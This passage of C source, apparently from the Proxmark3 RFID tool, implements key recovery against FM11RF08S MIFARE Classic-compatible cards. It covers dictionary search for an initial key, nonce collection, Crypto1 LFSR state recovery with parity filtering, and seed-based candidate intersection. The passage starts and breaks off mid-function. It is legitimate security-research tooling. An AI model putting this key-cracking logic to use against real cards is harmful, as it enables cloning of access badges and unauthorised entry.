num_to_bytes(initial->key, MIFARE_KEY_SIZE, active_key);
|
|
PrintAndLogEx(INFO, "Trying nonce collection with sector " _YELLOW_("%u") " block " _YELLOW_("%u")
|
|
" key " _YELLOW_("%c") " = " _GREEN_("%012" PRIX64),
|
|
mfSectorNum(initial->block_no), initial->block_no,
|
|
initial->key_type ? 'B' : 'A', initial->key);
|
|
char activity[96];
|
|
snprintf(activity, sizeof(activity), "Collect nonce evidence via block %u key %c %s",
|
|
initial->block_no, initial->key_type ? 'B' : 'A', sprint_hex_inrow(active_key, MIFARE_KEY_SIZE));
|
|
fm11_sen_progress(0, activity, 0, 0);
|
|
return fm11_collect_nonces_ex(active_key, 2, initial->block_no, initial->key_type, card, nonces);
|
|
}
|
|
|
|
static int fm11_collect_nonces_from_default_key_fallback(const fm11_keylist_t *defaults, iso14a_card_select_t *card,
|
|
iso14a_fm11rf08s_nonces_with_data_t *nonces, uint8_t *active_key) {
|
|
if (defaults == NULL || card == NULL || nonces == NULL || active_key == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (defaults->count == 0) {
|
|
return PM3_ESOFT;
|
|
}
|
|
|
|
sector_t *e_sector = calloc(FM11RF08S_NORMAL_SECTORS, sizeof(sector_t));
|
|
if (e_sector == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
int retval = PM3_ESOFT;
|
|
uint32_t total = defaults->count * (FM11RF08S_SECTORS * 2);
|
|
uint32_t done = 0;
|
|
|
|
const uint8_t keys_per_frame = fm11_keys_per_frame();
|
|
|
|
PrintAndLogEx(INFO, "Searching " _YELLOW_("%u") " default/dictionary keys for an initial auth key", defaults->count);
|
|
for (uint32_t idx = 0; idx < defaults->count && retval == PM3_ESOFT; idx += keys_per_frame) {
|
|
if (kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
break;
|
|
}
|
|
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
uint8_t chunk = MIN(keys_per_frame, defaults->count - idx);
|
|
for (uint8_t i = 0; i < chunk; i++) {
|
|
num_to_bytes(defaults->data[idx + i].key, MIFARE_KEY_SIZE, key_block + (i * MIFARE_KEY_SIZE));
|
|
}
|
|
|
|
PrintAndLogEx(INFO, "Dictionary chunk " _YELLOW_("%u-%u") " / " _YELLOW_("%u") ": checking normal sectors",
|
|
idx + 1, idx + chunk, defaults->count);
|
|
for (uint8_t strategy = 1; strategy < 3 && retval == PM3_ESOFT; strategy++) {
|
|
PrintAndLogEx(INFO, " fchk strategy " _YELLOW_("%u") " against sectors 0-15", strategy);
|
|
memset(e_sector, 0, sizeof(sector_t) * FM11RF08S_NORMAL_SECTORS);
|
|
int res = mf_check_keys_fast_ex(FM11RF08S_NORMAL_SECTORS, true, true, strategy, chunk,
|
|
key_block, e_sector, false, false, true, 0);
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
break;
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS && retval == PM3_ESOFT; sec++) {
|
|
for (uint8_t kt = 0; kt < 2 && retval == PM3_ESOFT; kt++) {
|
|
if (e_sector[sec].foundKey[kt] == false) {
|
|
continue;
|
|
}
|
|
fm11_initial_key_t initial = {
|
|
.key = e_sector[sec].Key[kt] & 0xFFFFFFFFFFFFULL,
|
|
.block_no = mfFirstBlockOfSector(sec),
|
|
.key_type = kt,
|
|
};
|
|
PrintAndLogEx(SUCCESS, "Found initial key: sector " _YELLOW_("%u") " block " _YELLOW_("%u")
|
|
" key " _YELLOW_("%c") " = " _GREEN_("%012" PRIX64),
|
|
sec, initial.block_no, initial.key_type ? 'B' : 'A', initial.key);
|
|
int collect_res = fm11_try_initial_key_for_nonces(&initial, card, nonces, active_key);
|
|
if (collect_res == PM3_SUCCESS) {
|
|
retval = PM3_SUCCESS;
|
|
break;
|
|
}
|
|
if (collect_res == PM3_ETIMEOUT || collect_res == PM3_EOPABORTED) {
|
|
retval = collect_res;
|
|
break;
|
|
}
|
|
PrintAndLogEx(WARNING, "Initial key did not collect nonce evidence, continuing dictionary search");
|
|
}
|
|
}
|
|
}
|
|
done += chunk * FM11RF08S_NORMAL_SECTORS * 2;
|
|
|
|
uint8_t real_sec32 = fm11_real_sector(FM11RF08S_SECTORS - 1);
|
|
if (retval == PM3_ESOFT) {
|
|
PrintAndLogEx(INFO, "Dictionary chunk " _YELLOW_("%u-%u") " / " _YELLOW_("%u")
|
|
": checking FM11RF08S sector " _YELLOW_("%u"),
|
|
idx + 1, idx + chunk, defaults->count, real_sec32);
|
|
}
|
|
for (uint8_t kt = 0; kt < 2 && retval == PM3_ESOFT; kt++) {
|
|
uint64_t out_key = 0;
|
|
PrintAndLogEx(INFO, " checking sector " _YELLOW_("%u") " key " _YELLOW_("%c"), real_sec32, kt ? 'B' : 'A');
|
|
int res = mf_check_keys(mfFirstBlockOfSector(real_sec32), kt, false, chunk, key_block, &out_key);
|
|
done += chunk;
|
|
if (res == PM3_SUCCESS) {
|
|
fm11_initial_key_t initial = {
|
|
.key = out_key & 0xFFFFFFFFFFFFULL,
|
|
.block_no = mfFirstBlockOfSector(real_sec32),
|
|
.key_type = kt,
|
|
};
|
|
PrintAndLogEx(SUCCESS, "Found initial key: sector " _YELLOW_("%u") " block " _YELLOW_("%u")
|
|
" key " _YELLOW_("%c") " = " _GREEN_("%012" PRIX64),
|
|
real_sec32, initial.block_no, initial.key_type ? 'B' : 'A', initial.key);
|
|
int collect_res = fm11_try_initial_key_for_nonces(&initial, card, nonces, active_key);
|
|
if (collect_res == PM3_SUCCESS) {
|
|
retval = PM3_SUCCESS;
|
|
break;
|
|
}
|
|
if (collect_res == PM3_ETIMEOUT || collect_res == PM3_EOPABORTED) {
|
|
retval = collect_res;
|
|
break;
|
|
}
|
|
PrintAndLogEx(WARNING, "Initial key did not collect nonce evidence, continuing dictionary search");
|
|
}
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
break;
|
|
}
|
|
}
|
|
fm11_sen_progress(0, "Search default-key dictionary for initial auth key", MIN(done, total), 0);
|
|
}
|
|
|
|
fm11_sen_clear_inplace();
|
|
if (retval == PM3_ESOFT) {
|
|
PrintAndLogEx(WARNING, "Default-key dictionary did not authenticate to any FM11RF08S sector");
|
|
}
|
|
free(e_sector);
|
|
return retval;
|
|
}
|
|
|
|
/*
|
|
* Check parity-bit consistency for a candidate LFSR key.
|
|
*
|
|
* crypto1_word uses BEBIT(in,i) = BIT(in, i^24), so it clocks byte 3 (MSB)
|
|
* first and byte 0 (LSB) last. In the MIFARE 9-bit wire format the parity
|
|
* bits for bytes 3..1 are interleaved inside ks1 (at clocks 8, 17, 26) and
|
|
* are NOT accessible from crypto1_word's output. Only the parity bit for
|
|
* byte 0 (the last wire byte) appears as the very first bit of ks2:
|
|
*
|
|
* byte 0 (nt bits 7..0, sent last on wire ): ks2 bit 24 ← reliable
|
|
* byte 1 (nt bits 15..8 ): ks2 bit 25 ← only valid if par_err reliable
|
|
* byte 2 (nt bits 23..16): ks2 bit 26 ← only valid if par_err reliable
|
|
* byte 3 (nt bits 31..24): ks2 bit 27 ← only valid if par_err reliable
|
|
*
|
|
* usable_mask bit 0 = byte 0 (default 0x1 = original single-bit behaviour).
|
|
* Enable higher bits only after verifying par_err quality on your hardware.
|
|
*/
|
|
static bool fm11_check_nt_parity_bits(
|
|
uint64_t lfsr,
|
|
uint32_t uid,
|
|
uint32_t nt,
|
|
uint8_t nt_par_enc,
|
|
uint8_t usable_mask
|
|
) {
|
|
struct Crypto1State *s = crypto1_create(lfsr);
|
|
if (s == NULL) {
|
|
return false;
|
|
}
|
|
|
|
crypto1_word(s, nt ^ uid, 0);
|
|
uint32_t ks2 = crypto1_word(s, 0, 0);
|
|
|
|
for (uint8_t byte_i = 0; byte_i < 4; byte_i++) {
|
|
if (usable_mask & (1U << byte_i)) {
|
|
uint8_t ks_par = (ks2 >> (24 + byte_i)) & 1;
|
|
uint8_t observed_dec = ((nt_par_enc >> byte_i) & 1) ^ ks_par;
|
|
uint8_t nt_byte = (nt >> (byte_i * 8)) & 0xFF;
|
|
if (observed_dec != oddparity8(nt_byte)) {
|
|
crypto1_destroy(s);
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
|
|
crypto1_destroy(s);
|
|
return true;
|
|
}
|
|
|
|
static int fm11_generate_1nt_candidates(uint32_t uid, uint32_t nt, uint32_t nt_enc, uint8_t par_err, uint8_t parity_mask, fm11_keylist_t *out) {
|
|
if (out == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
uint8_t nt_par_enc = ((((par_err >> 3) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3) |
|
|
((((par_err >> 2) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2) |
|
|
((((par_err >> 1) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1) |
|
|
((((par_err >> 0) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)) << 0);
|
|
uint32_t ks1 = nt ^ nt_enc;
|
|
struct Crypto1State *revstate = lfsr_recovery32(ks1, nt ^ uid);
|
|
if (revstate == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
struct Crypto1State *revstate_start = revstate;
|
|
|
|
uint32_t checked = 0;
|
|
while ((revstate->odd != 0) || (revstate->even != 0)) {
|
|
if (((checked++ & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
crypto1_destroy(revstate_start);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
uint64_t lfsr = 0;
|
|
lfsr_rollback_word(revstate, nt ^ uid, 0);
|
|
crypto1_get_lfsr(revstate, &lfsr);
|
|
|
|
if (fm11_check_nt_parity_bits(lfsr, uid, nt, nt_par_enc, parity_mask)) {
|
|
int res = fm11_keylist_push(out, lfsr, 0);
|
|
if (res != PM3_SUCCESS || out->count >= FM11RF08S_GENERATED_KEY_LIMIT) {
|
|
crypto1_destroy(revstate_start);
|
|
return res;
|
|
}
|
|
}
|
|
revstate++;
|
|
}
|
|
|
|
crypto1_destroy(revstate_start);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static uint16_t fm11_prev8_lfsr16[1 << 16];
|
|
static uint16_t fm11_prev14_lfsr16[1 << 16];
|
|
static bool fm11_lfsr16_ready = false;
|
|
|
|
static void fm11_init_lfsr16_table(void) {
|
|
if (fm11_lfsr16_ready) {
|
|
return;
|
|
}
|
|
uint16_t buffer[16] = { 0 };
|
|
uint16_t x = 1;
|
|
for (uint32_t i = 0; i < 65536 + 16; ++i) {
|
|
fm11_prev8_lfsr16[buffer[(i + 8) % 16]] = buffer[i % 16];
|
|
fm11_prev14_lfsr16[buffer[(i + 14) % 16]] = buffer[i % 16];
|
|
|
|
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
|
|
buffer[i % 16] = (x & 0xFF) << 8 | x >> 8;
|
|
}
|
|
fm11_lfsr16_ready = true;
|
|
}
|
|
|
|
static uint16_t fm11_compute_seednt16_nt32(uint32_t nt32, uint64_t key) {
|
|
static const uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
|
|
static const uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
|
|
uint16_t nt = fm11_prev14_lfsr16[nt32 >> 16];
|
|
|
|
bool odd = true;
|
|
for (uint8_t i = 0; i < 6 * 8; i += 8) {
|
|
if (odd) {
|
|
nt ^= a[(key >> i) & 0xF];
|
|
nt ^= b[(key >> i >> 4) & 0xF] << 4;
|
|
} else {
|
|
nt ^= b[(key >> i) & 0xF];
|
|
nt ^= a[(key >> i >> 4) & 0xF] << 4;
|
|
}
|
|
odd = !odd;
|
|
nt = fm11_prev8_lfsr16[nt];
|
|
}
|
|
return nt;
|
|
}
|
|
|
|
static void fm11_compute_seednt16_nt32_vec4(uint32_t nt32, const fm11_candidate_t *candidates, uint16_t out[4]) {
|
|
static const uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
|
|
static const uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
|
|
|
|
union vec nt = vec_u1(fm11_prev14_lfsr16[nt32 >> 16]);
|
|
for (uint8_t byte_i = 0; byte_i < 6; byte_i++) {
|
|
uint32_t mix[4];
|
|
for (uint8_t lane = 0; lane < 4; lane++) {
|
|
uint8_t key_byte = (candidates[lane].key >> (byte_i * 8)) & 0xFF;
|
|
if ((byte_i & 1) == 0) {
|
|
mix[lane] = a[key_byte & 0x0F] ^ ((uint32_t)b[key_byte >> 4] << 4);
|
|
} else {
|
|
mix[lane] = b[key_byte & 0x0F] ^ ((uint32_t)a[key_byte >> 4] << 4);
|
|
}
|
|
}
|
|
nt = vec_xor(nt, vec_u(mix[0], mix[1], mix[2], mix[3]));
|
|
nt.xu = fm11_prev8_lfsr16[nt.xu & 0xFFFF];
|
|
nt.yu = fm11_prev8_lfsr16[nt.yu & 0xFFFF];
|
|
nt.zu = fm11_prev8_lfsr16[nt.zu & 0xFFFF];
|
|
nt.wu = fm11_prev8_lfsr16[nt.wu & 0xFFFF];
|
|
}
|
|
|
|
out[0] = (uint16_t)nt.xu;
|
|
out[1] = (uint16_t)nt.yu;
|
|
out[2] = (uint16_t)nt.zu;
|
|
out[3] = (uint16_t)nt.wu;
|
|
}
|
|
|
|
static int fm11_cmp_candidate_ref(const void *a, const void *b) {
|
|
const fm11_candidate_ref_t *ka = (const fm11_candidate_ref_t *)a;
|
|
const fm11_candidate_ref_t *kb = (const fm11_candidate_ref_t *)b;
|
|
if (ka->key < kb->key) {
|
|
return -1;
|
|
}
|
|
if (ka->key > kb->key) {
|
|
return 1;
|
|
}
|
|
if (ka->sec != kb->sec) {
|
|
return (int)ka->sec - (int)kb->sec;
|
|
}
|
|
if (ka->key_type != kb->key_type) {
|
|
return (int)ka->key_type - (int)kb->key_type;
|
|
}
|
|
if (ka->idx < kb->idx) {
|
|
return -1;
|
|
}
|
|
return ka->idx > kb->idx;
|
|
}
|
|
|
|
static void fm11_reuse_index_free(fm11_reuse_index_t *index) {
|
|
if (index == NULL) {
|
|
return;
|
|
}
|
|
free(index->refs);
|
|
free(index->buckets);
|
|
memset(index, 0, sizeof(*index));
|
|
}
|
|
|
|
static int fm11_reuse_index_build(fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
fm11_reuse_index_t *index) {
|
|
if (candidates == NULL || index == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
fm11_reuse_index_free(index);
|
|
|
|
uint32_t total = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
total += candidates[sec][0].count;
|
|
total += candidates[sec][1].count;
|
|
}
|
|
if (total == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
index->refs = calloc(total, sizeof(fm11_candidate_ref_t));
|
|
if (index->refs == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
uint32_t pos = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
const fm11_keylist_t *list = &candidates[sec][kt];
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (((pos & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
fm11_reuse_index_free(index);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
index->refs[pos++] = (fm11_candidate_ref_t) {
|
|
.key = list->data[i].key,
|
|
.sec = sec,
|
|
.key_type = kt,
|
|
.idx = i,
|
|
};
|
|
}
|
|
}
|
|
}
|
|
index->ref_count = pos;
|
|
qsort(index->refs, index->ref_count, sizeof(fm11_candidate_ref_t), fm11_cmp_candidate_ref);
|
|
|
|
uint32_t bucket_count = 0;
|
|
for (uint32_t i = 0; i < index->ref_count;) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
fm11_reuse_index_free(index);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
uint32_t j = i + 1;
|
|
while (j < index->ref_count && index->refs[j].key == index->refs[i].key) {
|
|
j++;
|
|
}
|
|
bucket_count++;
|
|
i = j;
|
|
}
|
|
|
|
index->buckets = calloc(bucket_count, sizeof(fm11_reuse_bucket_t));
|
|
if (index->buckets == NULL) {
|
|
fm11_reuse_index_free(index);
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
uint32_t bi = 0;
|
|
for (uint32_t i = 0; i < index->ref_count;) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
fm11_reuse_index_free(index);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
uint32_t j = i + 1;
|
|
while (j < index->ref_count && index->refs[j].key == index->refs[i].key) {
|
|
j++;
|
|
}
|
|
index->buckets[bi++] = (fm11_reuse_bucket_t) {
|
|
.key = index->refs[i].key,
|
|
.start = i,
|
|
.count = j - i,
|
|
};
|
|
i = j;
|
|
}
|
|
index->bucket_count = bi;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static const fm11_reuse_bucket_t *fm11_reuse_index_find(const fm11_reuse_index_t *index, uint64_t key) {
|
|
if (index == NULL || index->bucket_count == 0) {
|
|
return NULL;
|
|
}
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
uint32_t lo = 0;
|
|
uint32_t hi = index->bucket_count;
|
|
while (lo < hi) {
|
|
uint32_t mid = lo + ((hi - lo) / 2);
|
|
if (index->buckets[mid].key < key) {
|
|
lo = mid + 1;
|
|
} else {
|
|
hi = mid;
|
|
}
|
|
}
|
|
if (lo < index->bucket_count && index->buckets[lo].key == key) {
|
|
return &index->buckets[lo];
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
static int fm11_cmp_scored_candidate(const void *a, const void *b) {
|
|
const fm11_scored_candidate_t *ca = (const fm11_scored_candidate_t *)a;
|
|
const fm11_scored_candidate_t *cb = (const fm11_scored_candidate_t *)b;
|
|
if (ca->score != cb->score) {
|
|
return (ca->score < cb->score) ? -1 : 1;
|
|
}
|
|
if (ca->ordinal != cb->ordinal) {
|
|
return (ca->ordinal < cb->ordinal) ? -1 : 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static int fm11_cmp_reuse_priority(const void *a, const void *b) {
|
|
const fm11_reuse_priority_t *pa = (const fm11_reuse_priority_t *)a;
|
|
const fm11_reuse_priority_t *pb = (const fm11_reuse_priority_t *)b;
|
|
if (pa->sectors != pb->sectors) {
|
|
return (pa->sectors > pb->sectors) ? -1 : 1;
|
|
}
|
|
if (pa->refs != pb->refs) {
|
|
return (pa->refs > pb->refs) ? -1 : 1;
|
|
}
|
|
if (pa->ordinal != pb->ordinal) {
|
|
return (pa->ordinal < pb->ordinal) ? -1 : 1;
|
|
}
|
|
if (pa->key < pb->key) {
|
|
return -1;
|
|
}
|
|
return pa->key > pb->key;
|
|
}
|
|
|
|
static void fm11_compute_list_seeds(fm11_keylist_t *list, uint32_t nt) {
|
|
if (list == NULL) {
|
|
return;
|
|
}
|
|
fm11_init_lfsr16_table();
|
|
uint32_t i = 0;
|
|
for (; i + 4 <= list->count; i += 4) {
|
|
if (list->data[i].seed_valid || list->data[i + 1].seed_valid ||
|
|
list->data[i + 2].seed_valid || list->data[i + 3].seed_valid) {
|
|
for (uint8_t lane = 0; lane < 4; lane++) {
|
|
if (list->data[i + lane].seed_valid == false) {
|
|
list->data[i + lane].seed = fm11_compute_seednt16_nt32(nt, list->data[i + lane].key);
|
|
list->data[i + lane].seed_valid = true;
|
|
}
|
|
}
|
|
continue;
|
|
}
|
|
uint16_t seeds[4];
|
|
fm11_compute_seednt16_nt32_vec4(nt, list->data + i, seeds);
|
|
for (uint8_t lane = 0; lane < 4; lane++) {
|
|
list->data[i + lane].seed = seeds[lane];
|
|
list->data[i + lane].seed_valid = true;
|
|
}
|
|
}
|
|
for (; i < list->count; i++) {
|
|
if (list->data[i].seed_valid == false) {
|
|
list->data[i].seed = fm11_compute_seednt16_nt32(nt, list->data[i].key);
|
|
list->data[i].seed_valid = true;
|
|
}
|
|
}
|
|
}
|
|
|
|
static uint32_t fm11_count_candidate_seed_matches_vec(const fm11_keylist_t *list, uint16_t needle, uint32_t max_matches) {
|
|
if (list == NULL || list->count == 0) {
|
|
return 0;
|
|
}
|
|
|
|
const union vec target = VEC_U(needle, needle, needle, needle);
|
|
uint32_t matches = 0;
|
|
uint32_t i = 0;
|
|
for (; i + 4 <= list->count; i += 4) {
|
|
const union vec probe = VEC_U(list->data[i].seed, list->data[i + 1].seed,
|
|
list->data[i + 2].seed, list->data[i + 3].seed);
|
|
const union vec eq = vec_ueq(probe, target);
|
|
matches += eq.elem.u[0] != 0;
|
|
matches += eq.elem.u[1] != 0;
|
|
matches += eq.elem.u[2] != 0;
|
|
matches += eq.elem.u[3] != 0;
|
|
if (max_matches != 0 && matches >= max_matches) {
|
|
return matches;
|
|
}
|
|
}
|
|
for (; i < list->count; i++) {
|
|
matches += list->data[i].seed == needle;
|
|
if (max_matches != 0 && matches >= max_matches) {
|
|
return matches;
|
|
}
|
|
}
|
|
return matches;
|
|
}
|
|
|
|
static int fm11_filter_candidates_by_seed(fm11_keylist_t *list, uint32_t nt, uint16_t seed,
|
|
uint32_t *old_count, uint32_t *new_count) {
|
|
if (list == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (old_count != NULL) {
|
|
*old_count = list->count;
|
|
}
|
|
if (new_count != NULL) {
|
|
*new_count = list->count;
|
|
}
|
|
if (list->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
fm11_compute_list_seeds(list, nt);
|
|
uint32_t matches = fm11_count_candidate_seed_matches_vec(list, seed, 0);
|
|
if (new_count != NULL) {
|
|
*new_count = matches;
|
|
}
|
|
if (matches == 0 || matches == list->count) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
fm11_keylist_t filtered = {0};
|
|
int res = fm11_keylist_reserve(&filtered, matches);
|
|
if (res != PM3_SUCCESS) {
|
|
return res;
|
|
}
|
|
|
|
const union vec target = VEC_U(seed, seed, seed, seed);
|
|
uint32_t i = 0;
|
|
for (; i + 4 <= list->count; i += 4) {
|
|
const union vec probe = VEC_U(list->data[i].seed, list->data[i + 1].seed,
|
|
list->data[i + 2].seed, list->data[i + 3].seed);
|
|
const union vec eq = vec_ueq(probe, target);
|
|
if (eq.elem.u[0] != 0) {
|
|
filtered.data[filtered.count++] = list->data[i];
|
|
}
|
|
if (eq.elem.u[1] != 0) {
|
|
filtered.data[filtered.count++] = list->data[i + 1];
|
|
}
|
|
if (eq.elem.u[2] != 0) {
|
|
filtered.data[filtered.count++] = list->data[i + 2];
|
|
}
|
|
if (eq.elem.u[3] != 0) {
|
|
filtered.data[filtered.count++] = list->data[i + 3];
|
|
}
|
|
}
|
|
for (; i < list->count; i++) {
|
|
if (list->data[i].seed == seed) {
|
|
filtered.data[filtered.count++] = list->data[i];
|
|
}
|
|
}
|
|
|
|
free(list->data);
|
|
*list = filtered;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_prioritize_by_paired_seed(fm11_keylist_t *list, const fm11_keylist_t *paired) {
|
|
if (list == NULL || paired == NULL || list->count < 2 || paired->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
/* uint16 count caps at 65535 — sufficient for scoring; 128KB vs 256KB,
|
|
* fits in L2 cache for typical 65K-wide seed space access patterns */
|
|
uint16_t *paired_seed_count = calloc(UINT16_MAX + 1, sizeof(uint16_t));
|
|
fm11_scored_candidate_t *scored = calloc(list->count, sizeof(fm11_scored_candidate_t));
|
|
if (paired_seed_count == NULL || scored == NULL) {
|
|
free(paired_seed_count);
|
|
free(scored);
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
for (uint32_t i = 0; i < paired->count; i++) {
|
|
uint16_t s = paired->data[i].seed;
|
|
if (paired_seed_count[s] < UINT16_MAX) {
|
|
paired_seed_count[s]++;
|
|
}
|
|
}
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
uint32_t score = paired_seed_count[list->data[i].seed];
|
|
scored[i] = (fm11_scored_candidate_t) {
|
|
.candidate = list->data[i],
|
|
.score = (score == 0) ? UINT32_MAX : score,
|
|
.ordinal = i,
|
|
};
|
|
}
|
|
|
|
qsort(scored, list->count, sizeof(fm11_scored_candidate_t), fm11_cmp_scored_candidate);
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
list->data[i] = scored[i].candidate;
|
|
}
|
|
|
|
free(paired_seed_count);
|
|
free(scored);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_intersect_pair(uint32_t nt_a, fm11_keylist_t *a, uint32_t nt_b, fm11_keylist_t *b) {
|
|
if (a == NULL || b == NULL || a->count == 0 || b->count == 0 || nt_a == nt_b) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
fm11_compute_list_seeds(a, nt_a);
|
|
fm11_compute_list_seeds(b, nt_b);
|
|
|
|
/*
|
|
* Use 1KB bitsets (fits entirely in L1 cache) instead of 256KB uint32
|
|
* count arrays. Random 16-bit seed accesses hit L1 every time →
|
|
* zero cache-miss stalls on the hot inner loops.
|
|
*/
|
|
enum { BSET_WORDS = (UINT16_MAX + 1) / 64 }; /* 1024 uint64 = 8192 bytes */
|
|
uint64_t *bset_a = calloc(BSET_WORDS, sizeof(uint64_t));
|
|
uint64_t *bset_b = calloc(BSET_WORDS, sizeof(uint64_t));
|
|
if (bset_a == NULL || bset_b == NULL) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
#define BSET_SET(bs, s) ((bs)[(s) >> 6] |= (UINT64_C(1) << ((s) & 63)))
|
|
#define BSET_TEST(bs, s) (((bs)[(s) >> 6] >> ((s) & 63)) & 1)
|
|
|
|
for (uint32_t i = 0; i < a->count; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
BSET_SET(bset_a, a->data[i].seed);
|
|
}
|
|
for (uint32_t i = 0; i < b->count; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
BSET_SET(bset_b, b->data[i].seed);
|
|
}
|
|
|
|
fm11_keylist_t fa = {0};
|
|
fm11_keylist_t fb = {0};
|
|
for (uint32_t i = 0; i < a->count; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
fm11_keylist_free(&fa);
|
|
fm11_keylist_free(&fb);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
if (BSET_TEST(bset_b, a->data[i].seed)) {
|
|
int res = fm11_keylist_push_seeded(&fa, a->data[i].key, a->data[i].seed);
|
|
if (res != PM3_SUCCESS) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
fm11_keylist_free(&fa);
|
|
fm11_keylist_free(&fb);
|
|
return res;
|
|
}
|
|
}
|
|
}
|
|
for (uint32_t i = 0; i < b->count; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
fm11_keylist_free(&fa);
|
|
fm11_keylist_free(&fb);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
if (BSET_TEST(bset_a, b->data[i].seed)) {
|
|
int res = fm11_keylist_push_seeded(&fb, b->data[i].key, b->data[i].seed);
|
|
if (res != PM3_SUCCESS) {
|
|
free(bset_a);
|
|
free(bset_b);
|
|
fm11_keylist_free(&fa);
|
|
fm11_keylist_free(&fb);
|
|
return res;
|
|
}
|
|
}
|
|
}
|
|
|
|
#undef BSET_SET
|
|
#undef BSET_TEST
|
|
|
|
free(bset_a);
|
|
free(bset_b);
|
|
free(a->data);
|
|
free(b->data);
|
|
*a = fa;
|
|
*b = fb;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
/* -----------------------------------------------------------------------
|
|
* fm11_sort_candidates_by_seed_bucket
|
|
*
|
|
* Within a sector, groups A and B candidates by their shared 16-bit seed.
|
|
* Sorts buckets so that "1+1" singletons (seed appears exactly once in both A
|
|
* and B) come first, then "1+N" singletons, then smallest combined count.
|
|
* Promotes the leading candidate from top singleton buckets to the front of
|
|
* each list.
|
|
*
|
|
* Rationale: a 1+1 singleton means checking that A candidate either confirms
|
|
* both keys in one attempt or definitively eliminates that seed — the highest
|
|
* possible information gain per online authentication.
|
|
* ----------------------------------------------------------------------- */
|
|
typedef struct {
|
|
uint16_t seed;
|
|
uint32_t a_count;
|
|
uint32_t b_count;
|
|
} fm11_seed_bucket_t;
|
|
|
|
static int fm11_build_seed_buckets(fm11_keylist_t *a, fm11_keylist_t *b,
|
|
fm11_seed_bucket_t **buckets_out,
|
|
uint32_t *bucket_count_out) {
|
|
uint32_t *count_a = calloc(UINT16_MAX + 1, sizeof(uint32_t));
|
|
uint32_t *count_b = calloc(UINT16_MAX + 1, sizeof(uint32_t));
|
|
if (count_a == NULL || count_b == NULL) {
|
|
free(count_a);
|
|
free(count_b);
|
|
return PM3_EMALLOC;
|
|
}
|
|
for (uint32_t i = 0; i < a->count; i++)
|
|
if (a->data[i].seed_valid) count_a[a->data[i].seed]++;
|
|
for (uint32_t i = 0; i < b->count; i++)
|
|
if (b->data[i].seed_valid) count_b[b->data[i].seed]++;
|
|
|
|
